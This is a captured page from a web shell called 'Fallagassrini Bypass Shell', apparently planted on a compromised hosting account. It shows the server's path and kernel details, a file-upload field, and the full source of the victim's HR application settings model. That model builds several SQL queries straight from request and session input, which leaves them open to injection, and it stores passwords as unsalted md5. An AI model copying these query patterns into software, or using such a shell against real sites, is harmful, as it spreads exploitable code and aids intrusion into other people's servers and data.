? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/hr/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/hr/application/models/settingsmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Settingsmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }
    function add($postdata)
    {
        $data=array();
        if($postdata['tab_name'] == "user")
        {
            $role_details = $this->mastermodel->get_data_srow('role',$postdata['role_id'],'role_id');
            $postdata['permission'] = $role_details->role_permission;
            $postdata['edit_del_permission'] = $role_details->role_edit_del_permission;
            $postdata['password'] = md5($postdata['password']);
        }
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset ($postdata['tab_name']);
        unset ($postdata['resfunction']);
        $res=$this->db->insert($table,$postdata);
        $cnt=$this->db->insert_id();
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Added Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On Adding Record';
        }
        return $data;
    }

        /*Search function starts here*/


    function search_user($pagenum)
    {
        $data=array();
        $this->db->from('user');
        $this->db->join('role','role.role_id=user.role_id');
        $this->db->join('designation','role.designation_id=designation.designation_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('user');
        $this->db->join('role','role.role_id=user.role_id');
        $this->db->join('designation','role.designation_id=designation.designation_id');
        $this->db->limit($perpage, $start);
        $this->db->order_by('id','asc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_role($pagenum)
    {
        $data=array();
        $this->db->from('role');
        $this->db->join('designation','role.designation_id=designation.designation_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('role');
        $this->db->join('designation','role.designation_id=designation.designation_id');
        $this->db->limit($perpage, $start);
        $this->db->order_by('role_id','asc');
        $data['results']=$this->db->get();
        return $data;
    }


    function search_reminder($pagenum)
    {
        $data=array();
        $this->db->from('reminder');
        $this->db->join('master','master_id=reminder_id');
        $this->db->where('creator_id',$_SESSION['userid']);
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'reminder_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'reminder_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('reminder');
        $this->db->join('master','master_id=reminder_id');
        $this->db->where('creator_id',$_SESSION['userid']);
        $this->db->limit($perpage, $start);
        $this->db->order_by('reminder_date','asc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_alert_master($pagenum)
    {
        $data=array();
        $this->db->from('alert_master');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'expected_arrival_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('alert_master');
        $this->db->order_by('sort','asc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_my_alert($pagenum)
    {
        $data=array();
        $this->db->from('alert_master');
        $this->db->join('alert_master_designation','alert_master_designation.alert_master_id=alert_master.alert_master_id');
        $this->db->join('role','role.designation_id=alert_master_designation.designation_id');
        $this->db->join('user','role.role_id=user.role_id');
        $this->db->where('id',$_SESSION['userid']);
        $this->db->order_by('sort','asc');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'reminder_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'reminder_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('alert_master');
        $this->db->join('alert_master_designation','alert_master_designation.alert_master_id=alert_master.alert_master_id');
        $this->db->join('role','role.designation_id=alert_master_designation.designation_id');
        $this->db->join('user','role.role_id=user.role_id');
        $this->db->where('id',$_SESSION['userid']);
        $this->db->order_by('sort','asc');
        $data['results']=$this->db->get();
        return $data;
    }
        /*Search function ends here*/


        /*Add function starts here*/

        

    function insert_role($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'designation_id'=>$postdata['designation_id'],
                        'role_permission'=>$postdata['role_permission'],
                        'role_edit_del_permission'=>$postdata['role_edit_del_permission']);
        $this->db->insert('role', $tblValues);
        $data['resfunction']='search_role';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function insert_reminder($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $master_id = $this->mastermodel->insertmasterdata();
        $reminder_date = $this->mastermodel->convertdateformat($postdata['reminder_date']);
        $tblValues=array('reminder_id'=>$master_id,
                        'reminder_date'=>$reminder_date,
                        'remind_before'=>$postdata['remind_before'],
                        'reminder_subject'=>$postdata['reminder_subject'],
                        'reminder_description'=>$postdata['reminder_description']);
        $this->db->insert('reminder', $tblValues);
        $data['resfunction']='search_reminder';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function insert_alert_master($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $i=1;
        $this->db->where('alert_master_id',$postdata['alert_master_id']);
        $this->db->delete('alert_master_designation');
        while (isset($postdata['designation_id_'.$i]))
        {
            if(isset($postdata['select_designation_'.$i]))
            {
                $tblValues=array(
                                'alert_master_id'=>$postdata['alert_master_id'],
                                'designation_id'=>$postdata['designation_id_'.$i]);
                $this->db->insert('alert_master_designation', $tblValues);
            }
            $i++;
        }
        $data['resfunction']='search_alert_master';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }


    
        /*Add function ends here*/


         /*Update function starts here*/


    function update_role($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $query=$this->db->query("update role set 
                role_permission='$postdata[role_permission]', role_edit_del_permission='$postdata[role_edit_del_permission]' where role_id='$postdata[role_id]'");
         $query=$this->db->query("update user set permission='$postdata[role_permission]', edit_del_permission='$postdata[role_edit_del_permission]' where role_id='$postdata[role_id]'");
        $data['resfunction']='search_role';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    function update_user($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $role_details = $this->mastermodel->get_data_srow('role',$postdata['role_id'],'role_id');
        $permission = $role_details->role_permission;
        $edit_del_permission = $role_details->role_edit_del_permission;
        $query=$this->db->query("update user set username='$postdata[username]',
                email='$postdata[email]',role_id='$postdata[role_id]',permission='$permission',
                edit_del_permission='$edit_del_permission' where id='$postdata[user_id]'");
        $data['resfunction']='search_user';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    function update_reminder($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $reminder_date = $this->mastermodel->convertdateformat($postdata['reminder_date']);
        $tblValues=array(
                        'reminder_date'=>$reminder_date,
                        'remind_before'=>$postdata['remind_before'],
                        'reminder_subject'=>$postdata['reminder_subject'],
                        'reminder_description'=>$postdata['reminder_description']);
        $this->db->where('reminder_id', $postdata['reminder_id']);
        $this->db->update('reminder', $tblValues);
        $data['resfunction']='search_reminder';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

       
         /*Update function ends here*/

    function update_password($postdata)
    {
        $data=array();
        $data['resfunction']='password';
        if($postdata['newpassword'] == $postdata['retypepassword'])
	{
	    $tblValues=array('password'=>md5($postdata['newpassword']));
	    $this->db->where('id',$postdata['userid']);
	    $this->db->update('user', $tblValues);
            $data['res']='password';
            $data['msg']='Password Changed Sucessfully';
            return $data;
	}
	else
	{
            $data['res']='password';
            $data['msg']='Passwords do not match';
            return $data;
	  
	}
    }
  
    function get_my_alert_count($alert_master_id)
    {
        $data = array();
        $today = date("Y-m-d");
        $this->db->from('alert');
        $this->db->join('alert_user','alert_user.alert_id=alert.alert_id');
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=alert.employee_id');
        $this->db->where('alert_master_id',$alert_master_id);
        $this->db->where('alert_status','1');
        $this->db->where('alert_date <=',$today);
        $this->db->where('user_id',$_SESSION['userid']);
        $this->db->where('active','1');
        $this->db->order_by('alert_date','desc');
        return $this->db->count_all_results();
    }

    function view_my_single_alerts($pagenum,$alert_master_id)
    {
        $data=array();
        $today = date("Y-m-d");
        $this->db->from('alert');
        $this->db->join('alert_user','alert_user.alert_id=alert.alert_id');
        $this->db->join('employee_non_main','alert.employee_id=employee_non_main.emp_non_id');
        $this->db->join('master','master_id=emp_non_id');
        $this->db->join('trade','trade_id=emp_non_trade_id');
        $this->db->join('nationality','nationality_id=emp_non_nationality_id');
        $this->db->join('batch','id=batch_id');
        $this->db->join('alert_master','alert_master.alert_master_id=alert.alert_master_id');
        $this->db->where('active','1');
        $this->db->where('alert.alert_master_id',$alert_master_id);
        $this->db->where('alert_status','1');
        $this->db->where('alert_date <=',$today);
        $this->db->where('user_id',$_SESSION['userid']);
        $this->db->order_by('alert_date','desc');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'reminder_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $sql =("SELECT alert.alert_id,alert_function,alert_date,emp_non_full_name,trade_name,nationality_name,emp_non_date_joining,emp_non_id,batch_code, CONCAT(`employee_non_main`.`emp_non_no_old`,','
            ,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id)) AS emp_non_no
            FROM (`alert`)
            JOIN `employee_non_main` ON `emp_non_id`=`employee_id`
            JOIN `master` ON `master_id`=`emp_non_id`
            JOIN `trade` ON `trade_id`=`emp_non_trade_id`
            JOIN `nationality` ON `nationality_id`=`emp_non_nationality_id`
            JOIN `alert_user` ON alert_user.alert_id=alert.alert_id
            JOIN `alert_master` ON alert_master.alert_master_id=alert.alert_master_id
            JOIN `batch` ON `id`=`batch_id`
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
            where active = '1' and alert_status = '1' and alert_date <= '$today' and alert.alert_master_id ='$alert_master_id' and user_id ='$_SESSION[userid]'");
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'emp_non_date_joining')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $sql.=" and $searchfield like '%$searchtext%'";
        }

        $sql.=" GROUP BY alert_id  ORDER BY `alert_date` DESC limit $start, $perpage";
        $data['results']=$this->db->query($sql);
        return $data;
    }

    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net